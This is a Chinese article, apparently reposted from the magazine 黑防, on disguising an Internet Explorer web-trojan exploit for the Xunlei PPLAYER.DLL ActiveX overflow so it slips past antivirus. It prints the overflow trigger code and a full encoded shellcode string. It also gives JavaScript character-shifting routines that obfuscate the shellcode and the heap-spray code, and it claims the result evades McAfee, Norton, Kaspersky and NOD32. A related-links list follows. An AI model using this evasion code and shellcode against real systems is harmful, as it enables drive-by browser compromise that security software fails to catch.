免杀迅雷PPLAYER.DLL ActiveX控件溢出漏洞

现在各主流杀软对IE网马的查杀规律其实比较明了，主要集中在下列几个地方：

1）ShellCode。如“var sc="%u6a90%u596a%u09eb%u805e……"”，SC一般都是以UNCIDOE形式给出的，自然是重点查杀对象，需作相应的变形。

2）内存扩充代码。这部分代码相信大家比较熟悉，用JavaScript写的，一般整段代码都作为查杀对象。如果能从中挑出一部分代码作变形的话，躲避查杀也是有可能的。变形的方法之一就是通过String.fromCharCode函数来回切换。

3）漏洞特征点，例如调用ActiveX的代码。以这个迅雷漏洞为例，被查杀代码为：

var size_buff = 1070;

var x = unescape("%0c%0c%0c%0c");

while (x.length<size_buff) x += x;

gl.FlvPlayerUrl = x; //尤其是这一句

OK，具体到这个漏洞免杀，通用的变形代码只需要前2点就能解决。

一是将ShellCode变形为如下代码。

var sc = "%u6a90%u596a%u09eb%u805e%uaa36%ue246%uebfa%ue805%ufff2%uffff%u3a3a%u3a3a%u0bce%uaa9a%uaaaa%uea21%u21a6%ub6da%u2107%ua2d2%ued21%u2196%u92fe%ua9d2%u217d%u8af0%u75a9%u6399%u21eb%u219e%u5da9%ufd12%uc4c3%u91ef%udfac%ucc5b%ud212%ucccf%uec91%udfae%u214d%u8ef0%u75a9%u21cc%ue1a6%uf021%ua9b6%u2175%u21ae%u6da9%ua342%uaaaa%uc9aa%uc6cb%u84c9%ud2cf%uaacf%uc0f1%uf9ab%u7a55%u3a3a%u5441"; var out = ""; for(var i=0; i<sc.length; i++) { out += String.fromCharCode(sc.charCodeAt(i) - 4); } document.write(out);

其中，Document.write的输出如图1所示，直接把这个结粘贴到新的Exp中即可。

图 1

二是内存扩充变形代码为：

var sc = "spraySlide = spraySlide.substring(0,spraySlideSize/2)"; var out2 = ""; for(var i=0; i<sc.length; i++) { out2 += String.fromCharCode(sc.charCodeAt(i) - 3); } document.write(out2);

同样，把Document.write输出结果拿来用即可。

修改后的Exp 文件exp_ms.htm，以及两部分变形代码trans1.htm和trans2.htm，我已随文提供。其中，exp_ms.htm仍然是打开calc.exe的功能，在Mcafee、Norton、Kaba以及NOD32环杀毒测试均可通过。

原文链接（黑防）

免杀迅雷PPLAYER.DLL ActiveX控件溢出漏洞相关推荐

DLL+ ActiveX控件+WEB页面调用例子
因项目需要,开始学习并研究VC.DLL及ActiveX控件,网上资料找了很多,但没一个可用的或者说没一个例子可理解并运行的.没办法,自己研究吧.功夫不负有心人,终有小成了,呵呵,现在把自己学习总结了一 ...
asp activex 读取服务器上的文件,webshell中上传asp文件调用服务器ActiveX控件溢出获取shell...
Team: http://www.ph4nt0m.org Author: 云舒(http://www.icylife.net) Date: 2008-02-19 做windows系统渗透测试的时候有w ...
阿里旺旺ActiveX控件ImageMan溢出漏洞分析
用ComRaider模糊测试针对ActiveX控件的漏洞分析方法 poc <html><body><object classid="clsid:128D0E3 ...
html 调用c#dll中的控件,C#调用ActiveX控件的方法
C#调用ActiveX控件时通常要进行两步操作: 第一步:注册控件,例如ABE.DLL,将ABE.DLL拷贝至系统文件夹SYSTEM32下,然后在开始中执行CMD命令,regsvr32 ABE.DLL ...
Internet Explorer 已经阻止此站点以不安全的方式使用ActiveX控件(多种解决方法)
一．电脑出现IE已经阻止此站点以不安全的方式使用ActiveX控件,因此该网页无法正确显示"的处理办法: 1.更改安全级别.. 如果你看不懂或者不会,我教你一个简单的. 打开IE.找到上方的 ...
如何发布ActiveX 控件
转自:http://blog.csdn.net/zougangx/archive/2008/07/30/2738147.aspx [背景] 做过ActiveX控件的朋友都知道,要想把自己做的Activ ...
ActiveX控件和它的容器
1.COM基础 2.ActiveX控件及实现 3.ActiveX控件容器及实现 4.总结 1.COM基础 COM是一种组件开发技术, 它实际上是一种在二进制层上兼容的软件开发方法的规范. COM技术是 ...
在 .NET Compact Framework 2.0 中宿主 ActiveX 控件
适用于: ActiveX Microsoft .NET Compact Framework 版本 2.0 摘要:了解如何在使用 .NET Compact 的应用程序中宿主 ActiveX 控件.本文提 ...
【转】激活 ActiveX 控件
用户无法直接与 APPLET.EMBED 或 OBJECT 元素加载的 Microsoft ActiveX 控件交互. 用户激活这些控件的用户界面后才可以与这些控件交互. 本主题介绍了 Microso ...

免杀迅雷PPLAYER.DLL ActiveX控件溢出漏洞

免杀迅雷PPLAYER.DLL ActiveX控件溢出漏洞相关推荐

最新文章

热门文章